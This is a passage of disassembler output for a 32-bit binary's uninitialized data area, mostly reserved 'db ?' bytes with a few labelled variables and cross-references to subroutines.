		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807B06C	db    ?	;		; DATA XREF: sub_805B10C+6o
					; sub_805B10C+13o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807B098	db    ?	;		; DATA XREF: sub_805B1A8+6o
					; sub_805B1A8+13o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807B0C4	db    ?	;		; DATA XREF: sub_805B530+6o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807B0E0	dd ?			; DATA XREF: sub_805A11C+BFo
					; sub_805AF5C+33w ...
dword_807B0E4	dd ?			; DATA XREF: sub_805A11C+B7r
					; sub_805A11C+123r ...
dword_807B0E8	dd ?			; DATA XREF: sub_805A11C+3Ar
					; sub_805A11C+A0r
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807B0F0	dd ?			; DATA XREF: sub_805B048+33r
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
